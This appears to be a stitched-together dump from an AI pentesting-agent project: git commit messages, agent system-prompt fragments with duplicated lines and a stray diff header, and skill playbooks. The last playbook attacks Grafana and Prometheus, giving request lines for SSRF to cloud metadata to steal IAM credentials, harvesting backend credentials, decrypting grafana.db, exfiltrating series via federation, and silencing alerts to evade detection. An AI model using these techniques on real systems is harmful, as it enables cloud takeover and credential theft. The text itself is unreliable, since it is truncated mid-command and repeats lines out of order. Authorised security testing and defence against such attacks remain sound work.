Remove hardcoded github.com/gitlab.com/bitbucket.org host lists from
infer_target_type. Instead, detect git repositories on any host by
querying the standard /info/refs?service=git-upload-pack endpoint.
Works for any self-hosted git instance.
The memory compressor was calling litellm.completion() without passing
the api_key and api_base parameters, causing authentication errors when
LLM_API_KEY is set but provider-specific env vars (OPENAI_API_KEY, etc.)
are not. This matches the pattern used in dedupe.py.
Updates LiteLLM from ~1.80.7 to ~1.81.1 which includes
full support for z.ai (Zhipu AI) provider using the 'zai/model-name'
format. This enables Strix to work with z.ai subscription
credentials by setting STRIX_LLM="zai/glm-4.7" with appropriate
LLM_API_KEY and LLM_API_BASE environment variables.
Changes:
- Updated litellm version constraint in pyproject.toml
- No breaking changes to Strix API or configuration
Closes #ISSUE_ID (to be linked if applicable)
Signed-off-by: legendevent <legendevent@users.noreply.github.com>
- Reuse apply_saved() instead of custom override logic
- Add force parameter to override existing env vars
- Move validation to utils.py
- Prevent saving when using custom config (one-time override)
- Fix: don't modify ~/.strix/cli-config.json when --config is used
Co-Authored-By: FeedClogger <feedclogger@users.noreply.github.com>
Add automatic cleanup of Docker containers when the application exits.
Uses a singleton runtime pattern and spawns a detached subprocess for
cleanup to ensure fast exit without blocking the UI.
- Show actual request/response data with visual flow (>> / <<)
- Display all relevant params: filters, sort, scope, modifications
- Add type-safe handling for streaming edge cases
- Use color-coded status codes (2xx green, 3xx yellow, 4xx/5xx red)
- Show search context (before/after) not just matched text
- Show full request details in send/repeat request renderers
- Show modifications on separate lines with full content
- Increase truncation limits for better visibility (200 char lines)
- Use present tense lowercase titles (listing, viewing, searching)
- Add comprehensive ECMA-48 ANSI pattern to strip escape sequences from output
- Fix _truncate_line to strip ANSI before length calculation
- Cache PythonLexer instance (was creating new one per call)
- Memoize token color lookups to avoid repeated parent chain traversal
- Add ZDOTDIR support for zsh users who relocate their config
- Add XDG_CONFIG_HOME paths for zsh and bash
- Add ash and sh shell support (Alpine/BusyBox)
- Warn user instead of silently creating .bashrc when no config found
- Add user feedback on what file was modified
- Handle non-writable config files gracefully
- Use singleton browser with isolated BrowserContext per agent instead of
separate Chromium processes per agent
- Add cleanup logic for stale browser/playwright on reconnect
- Add resource management instructions to browser schema (close tabs/browser when done)
- Suppress Kali login message in Dockerfile
- Replace multiprocessing/threading with single asyncio task per agent
- Add task cancellation: new request cancels previous for same agent
- Add per-agent state isolation via ContextVar for Terminal, Browser, Python managers
- Add posthog telemetry for tool execution errors (timeout, http, sandbox)
- Fix proxy manager singleton pattern
- Increase client timeout buffer over server timeout
- Add context.py to Dockerfile
- Move tool server startup from Python to entrypoint script
- Hardcode Caido port (48080) in entrypoint, remove from Python
- Use /app/venv/bin/python directly instead of poetry run
- Fix env var passing through sudo with sudo -E and explicit vars
- Add Caido process monitoring and logging during startup
- Add retry logic with exponential backoff for token fetch
- Add tool server process validation before declaring ready
- Simplify docker_runtime.py (489 -> 310 lines)
- DRY up container state recovery into _recover_container_state()
- Add container creation retry logic (3 attempts)
- Fix GraphQL health check URL (/graphql/ with trailing slash)
Add cancelled flag to prevent timed-out thread's finally block from
overwriting stdout/stderr when a subsequent execution has already
started capturing output.
- Add ThreadPoolExecutor in agent_worker for parallel request execution
- Add request_id correlation to prevent response mismatch between concurrent requests
- Add background listener thread per agent to dispatch responses to correct futures
- Add --timeout argument for hard request timeout (default: 120s from config)
- Remove signal handlers from terminal_manager, python_manager, tab_manager (use atexit only)
- Replace SIGALRM timeout in python_instance with threading-based timeout
This fixes requests getting queued behind slow operations and timeouts.
The str() of httpx.RequestError was often empty, making error messages
unhelpful. Now includes the exception type (e.g., ConnectError) for
better debugging.
- Add professional, realistic multiline examples to all tool schemas
- finish_scan: Complete pentest report with SSRF/access control findings
- create_vulnerability_report: Full SSRF writeup with cloud metadata PoC
- file_edit, notes, thinking: Realistic security testing examples
- Remove XML terminology from system prompt and tool descriptions
- All examples use real newlines (not literal \n) to demonstrate correct usage
- Replace braille spinner with ping-pong sweep animation using colored squares
- Add smooth gradient fade with 8 color steps from dim to bright green
- Modernize keymap styling: keys in white, actions in dim, separated by ·
- Move "esc stop" to left side next to animation
- Change ctrl-c to ctrl-q for quit
- Simplify "Initializing Agent" to just "Initializing"
- Remove italic styling from status text
- Waiting state shows only "Send message to resume" hint
- Remove unused action verbs and related dead code
- Add Config class with all env var defaults in one place
- Auto-load saved config on startup (env vars take precedence)
- Auto-save config after successful LLM warm-up
- Replace scattered os.getenv() calls with Config.get()
- Add configurable reasoning effort via environment variable
- Default to "high", but use "medium" for quick scan mode
- Document in README and interface error panel
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Previously, tool renderers assumed result was always a dict and would
crash with AttributeError when result was a string (e.g., error messages).
Now all renderers properly check for string results and display them.
The previous implementation divided total timeout by retries, making the
timeout behavior confusing and the actual wait time unpredictable. Now
uses a consistent 5-second timeout per request for clearer semantics.
- Add _wait_for_tool_server_health() to verify tool server is responding after init
- Show error details in CLI mode when penetration test fails
- Simplify error message (remove technical URL details)
- Add _wait_for_tool_server_health() method with retry logic and exponential backoff
- Check tool server /health endpoint after container initialization
- Add async _verify_tool_server_health() for health check when reusing containers
- Raise SandboxInitializationError with helpful message if tool server is not responding
- Add TOOL_SERVER_HEALTH_TIMEOUT and TOOL_SERVER_HEALTH_RETRIES constants
- Wrap finish_scan and create_vulnerability_report tool output in Padding with dark grey background (#141414)
- Refactor TUI rendering to support heterogeneous renderables (Text, Padding, Group) instead of just Text
- Update _render_streaming_content and _render_tool_content_simple to return Any renderable type
- Handle interrupted messages by composing with Group instead of appending to Text
- Add dedupe.py with XML-based LLM deduplication using direct litellm calls
- Integrate deduplication check in create_vulnerability_report tool
- Add get_existing_vulnerabilities() method to tracer for fetching reports
- Update schema and system prompt with deduplication guidelines
Rewrite localhost/127.x.x.x/0.0.0.0 target URLs to use host.docker.internal,
allowing the container to reach services running on the host machine.
- Add extra_hosts mapping for host.docker.internal on Linux
- Add HOST_GATEWAY env var to container
- Add rewrite_localhost_targets() to transform localhost URLs
- Support full 127.0.0.0/8 loopback range and IPv6 ::1
- Terminal renderer now displays command output with smart filtering
- Strips PS1 prompts, command echoes, and hardcoded status messages
- Python renderer now shows stdout/stderr from execution results
- Both renderers support line truncation (50 lines max, 200 chars/line)
- Removed smart coloring in favor of consistent dim styling
- Added proper error and exit code display
- Retry failed streams up to 3 times with exp backoff (8s min, 64s max)
- Reset chunks on failure and retry full request
- Use litellm._should_retry() for retryable error detection
- Switch to async acompletion() for streaming
- Refactor generate() into smaller focused methods
- Convert LiteLLM requests to streaming mode with stream_request()
- Add streaming parser to handle live LLM output segments
- Update TUI for real-time streaming content rendering
- Add tracer methods for streaming content tracking
- Clean function tags from streamed content to prevent display
- Remove all truncation from tool renderers for full content visibility
- Removed unused escape_markup function and integrated rich.text for better text handling.
- Updated various renderers to utilize Text for consistent styling and formatting.
- Enhanced chat and agent message displays with dynamic text features.
- Improved error handling and display for various tool components.
- Refined TUI styles for better visual consistency across components.
- Reduced animation timer for splash screen to improve responsiveness.
- Added URL display to the splash screen.
- Improved start line animation with dynamic character styling.
- Updated agent status display to show "Initializing Agent" when no real activity is detected.
- Enhanced waiting and animated verb text with dynamic styling.
- Implemented sidebar visibility toggle based on window size.
- Updated live stats to include model information from agent configuration.
- Refined TUI styles for better visual consistency.
- Support Shift+Enter to insert newlines in chat input
- Chat input container expands dynamically up to 8 lines
- Enter key sends message as before
- Fix cursor line background to match unselected lines
- Add PyInstaller spec file and build script for creating standalone executables
- Add install.sh for curl | sh installation from GitHub releases
- Add GitHub Actions workflow for multi-platform builds (macOS, Linux, Windows)
- Move sandbox-only deps (playwright, ipython, libtmux, etc.) to optional extras
- Make google-cloud-aiplatform optional ([vertex] extra) to reduce binary size
- Use lazy imports in tool actions to avoid loading sandbox deps at startup
- Add -v/--version flag to CLI
- Add website and Discord links to completion message
- Binary size: ~97MB (down from ~120MB with all deps)
- update_todo: add `updates` param for bulk updates in one call
- mark_todo_done: add `todo_ids` param to mark multiple todos done
- mark_todo_pending: add `todo_ids` param to mark multiple pending
- delete_todo: add `todo_ids` param to delete multiple todos
- Increase todo renderer display limit from 10 to 25
- Maintains backward compatibility with single-ID usage
- Update prompts to keep todos short-horizon and dynamic
Introduces scan mode selection to control testing depth and methodology:
- quick: optimized for CI/CD, focuses on recent changes and high-impact vulns
- standard: balanced coverage with systematic methodology
- deep: exhaustive testing with hierarchical agent swarm (now default)
Each mode has dedicated prompt modules with detailed pentesting guidelines
covering reconnaissance, mapping, business logic analysis, exploitation,
and vulnerability chaining strategies.
Closes#152
Add AgentMessageRenderer to render agent messages with basic markdown support:
- Headers (#, ##, ###, ####)
- Bold (**text**) and italic (*text*)
- Inline code and fenced code blocks
- Links [text](url) and strikethrough
Update system prompt to allow agents to use simple markdown formatting.
- Add new todo tool with create, list, update, mark_done, mark_pending, delete actions
- Each subagent has isolated todo storage keyed by agent_id
- Support bulk todo creation via JSON array or bullet list
- Add TUI renderers for all todo actions with status markers
- Update notes tool to remove priority and todo-related functionality
- Add task tracking guidance to StrixAgent system prompt
- Fix instruction file error handling in CLI
Replace timeout=None with configurable timeouts (120s execution, 10s connect)
to prevent hung sandbox connections from blocking indefinitely.
Configurable via STRIX_SANDBOX_EXECUTION_TIMEOUT and STRIX_SANDBOX_CONNECT_TIMEOUT
environment variables.
Add comprehensive test suite for the argument_parser module including:
- Tests for _convert_to_bool with truthy/falsy values
- Tests for _convert_to_list with JSON and comma-separated inputs
- Tests for _convert_to_dict with valid/invalid JSON
- Tests for convert_string_to_type with various type annotations
- Tests for convert_arguments with typed functions
- Tests for ArgumentConversionError exception class
This establishes the foundation for the project's test infrastructure
with pytest configuration already in place.
- Consider business context for severity assessment — check whether the target is a demo/sandbox environment or content meant to be public, and factor that in
- Consider business context for severity assessment
- Independent verification through subagent
- Document complete attack chain
- Keep going until you find something that matters
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
- All agents share the same /workspace directory and proxy history
- Agents can see each other's files and proxy traffic for better collaboration
DISK & SCRATCH HYGIENE:
- /workspace is a shared, finite disk used by all agents at once — be a considerate tenant
- Prefer bounded recon: scope crawls and scans by depth, duration, and target rather than "collect everything"
- Redirect large tool output to a file, and once you've extracted what you need (e.g. a URL/endpoint list), remove the raw output
- If disk gets tight or a write fails for space, check what's large under /workspace and clean up files from your own task; leave another agent's files unless you've confirmed they're no longer in use
MANDATORY INITIAL PHASES:
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files — keep each crawl bounded by depth/duration, and tidy up raw output once endpoints are extracted
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files
- Reconnaissance should normally happen before targeted vulnerability discovery unless the correct next move is already obvious or the user/system explicitly asks to prioritize a specific area first
- ONLY AFTER comprehensive mapping → proceed to vulnerability testing
@@ -434,7 +413,6 @@ SPECIALIZED TOOLS:
PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Use the proxy tools
directly, or import `caido_api` from sandbox Python scripts.
- HTTPQL filters (for `list_requests`): quote string values, leave integers unquoted (`resp.code.eq:200`, not `"200"`); combine terms with `AND`/`OR` (there is no `NOT` — use the negated operator `ne`/`ncont`/`nregex`). Numeric fields (`resp.code`, `req.port`) use `eq`/`ne`/`gt`/`gte`/`lt`/`lte`; text fields (`req.host`, `req.path`, `req.method`, `req.raw`) use `cont`/`ncont`/`eq`/`regex`. Example: `resp.code.gte:200 AND resp.code.lt:300 AND req.host.cont:"api"`.
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
description: Supply-chain / SCA playbook — scan repository lockfiles for known dependency CVEs and report them with create_dependency_report (no dynamic PoC required)
---
# Dependency / Supply-Chain CVE Scanning (SCA)
Use this skill on white-box / repository scans to make sure a repository pinning a
**known-vulnerable dependency** is actually reported as a finding, instead of being
discovered and then silently dropped because it cannot be dynamically exploited.
Known-CVE dependency findings are a first-class deliverable. Report each one with
the dedicated `create_dependency_report` tool.
## Why this skill exists
A vulnerable dependency pinned in a lockfile (e.g. `lodash@4.17.4` with a known
prototype-pollution CVE) usually cannot be dynamically PoC'd from the outside —
the vulnerable code path may not even be reachable from a running endpoint. The
normal "no report without a dynamic PoC" rule would suppress it. For these
findings the proof is the **lockfile entry + scanner output + published
advisory**, not an exploit script. This is the one explicit exception to the
dynamic-validation rule, and it exists only for `create_dependency_report`.
## Scan procedure
Run from the repo root and store output in the shared artifact directory used by
the source-aware pass:
```bash
ART=/workspace/.strix-source-aware
mkdir -p "$ART"
# Record the vuln DB age so a stale DB is a visible signal, not a silent clean scan.
trivy version --format json 2>/dev/null | tee "$ART/trivy-version.json"
# inspect .VulnerabilityDB.UpdatedAt / NextUpdate
# Lockfile/manifest -> known-CVE matching. Try a best-effort DB refresh first so a
# sandbox with egress gets the freshest CVEs; if the update fails, fall back to the
# cached DB instead of failing the scan. --offline-scan keeps per-package advisory
description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force
---
# Asset Discovery
Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets.
Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed.
## Attack Surface
- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force
- Internal/staging/pre-prod hostnames leaked in certificate SAN lists
- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed
- ASN-owned IP ranges hosting services with no DNS name at all
- Virtual hosts co-located on shared IPs (multiple apps behind one address)
- Non-HTTP services on discovered hosts (databases, brokers, admin ports)
## High-Value Sources
### Certificate Transparency (CT)
CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name.
- **crt.sh** (free, no key):
- By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u`
- By organization: `https://crt.sh/?O=Example+Inc&output=json`
- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert.
- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete.
- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`).
### TLS Certificate SAN/CN
- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name.
- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner.
- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target.
- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'`
- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly.
### Passive DNS
- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs.
- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames.
- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra.
### ASN & IP Ranges
- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v <IP>"` or a BGP/ASN lookup.
- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets.
- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock.
## Recommended Tooling
Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
- **`httpx`** — live probing + cert grab in one pass (see methodology).
- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
## Key Techniques
### Iterative Seed Expansion
Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing.
### Cert-Fingerprint Pivoting
Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
### Naming-Convention Inference
Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`<service>.<env>.example.com`) rather than blind brute force.
### IP-First Discovery
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
## Advanced Techniques
- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
## Consolidation & Probing
1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence.
2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed:
3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product.
4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports).
5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill:
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
5. **ASN/IP mapping** - `asnmap` → `mapcidr` to expand owned ranges, then sweep for live hosts
6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
## Validation
1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit)
2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain
3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated
4. Record provenance (which source produced each asset) for reproducibility
## False Positives
- CDN/edge hostnames and provider default names that are not org-owned
- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset)
- Stale historical DNS entries pointing at reassigned infrastructure
- Wildcard-cert-implied hostnames that never actually resolve or serve content
## Impact
- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses
- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames
- Attribution of shadow infra, acquisitions, and sibling domains to the target
- A prioritized, classified inventory that feeds every downstream specialist skill
## Pro Tips
1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
7. Keep JSON output throughout so stages chain cleanly (`subfinder` → `dnsx` → `httpx` → `naabu`).
## Summary
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 5–15 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db``secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
